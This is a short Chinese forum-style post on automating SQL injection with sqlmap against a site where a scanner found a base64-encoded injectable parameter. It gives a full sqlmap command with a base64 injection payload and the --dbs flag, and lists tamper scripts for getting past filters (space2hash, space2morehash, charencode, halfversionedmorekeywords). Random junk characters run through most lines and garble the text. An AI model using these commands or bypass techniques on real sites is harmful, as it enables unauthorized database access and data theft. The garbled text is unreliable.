WVS扫某站就出来一个SQL Injection,参数还是base64编码的,手工注入麻烦一步,用sqlmap怎么自动注射呢?
3 }! B+ d; q* Q( f8 s: u6 H: W1 a9 g% e' l: L, }- ~6 k8 {" i1 `
sqlmap的tamper里有个base64encode.py
: D1 g& i; \" Y% M7 U$ L+ Y7 r" g2 x, J- g
使用如下
2 j; O, m3 d4 x+ B2 m2 \
) V- Z5 c6 I0 ?9 b+ |1 I6 ?: E. vsqlmap -u http://ha.cker.in/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –dbs
8 w2 R+ G/ _# U
: W4 H0 y5 m' G
0 N9 t3 l5 [+ ^! |! O5 }' Q+ gsqlmap拥有很多功能强力的插件,插件的使用方法: -- tamper “插件名称”% T3 z$ S% l! E+ A' ~/ J/ M" E+ t$ \
9 c7 H S- n& z6 G+ K3 I
其中常用到的bypass脚本绕过SQLMAP主要两个脚本:/ f8 @6 J, H! { }6 ]3 O
3 r( q! O0 f1 `9 f& a) Q2 M l
space2hash.py ,对于MYSQL数据库 4.0, 5.0注入
* Z/ z. K) N3 ?; @space2morehash.py ,对于MYSQL数据库 >= 5.1.13 和 MySQL 5.1.41 注入& N8 f' B, x7 E2 e+ i b2 h
首先确定目标数据库版本,然后选择相应的脚本。9 M( I2 u9 m) a% [3 M3 N
-v 3 --batch --tamper "space2hash.py"* p5 H$ i+ j7 K$ i# ^
0 E4 b2 W7 y" `还有其他一些插件:. O7 F$ O' L, d8 X+ c2 w+ G
encodes编码 ——charencode.py2 w4 G+ j& E5 x, r9 l B
base64编码 —— base64encode.py
2 T& v' C& p& Y% F/ `6 p替换空格和关键字 —— halfversionedmorekeywords.py2 E' Z4 ~6 v4 d' j1 R3 V1 A* J! l
| 5 t2 K5 V; S0 ^+ T
1 c. v3 R, _) ~! q0 o0 K" T/ i9 _* X% i
8 Q# S R b2 p3 T, S) V/ V
|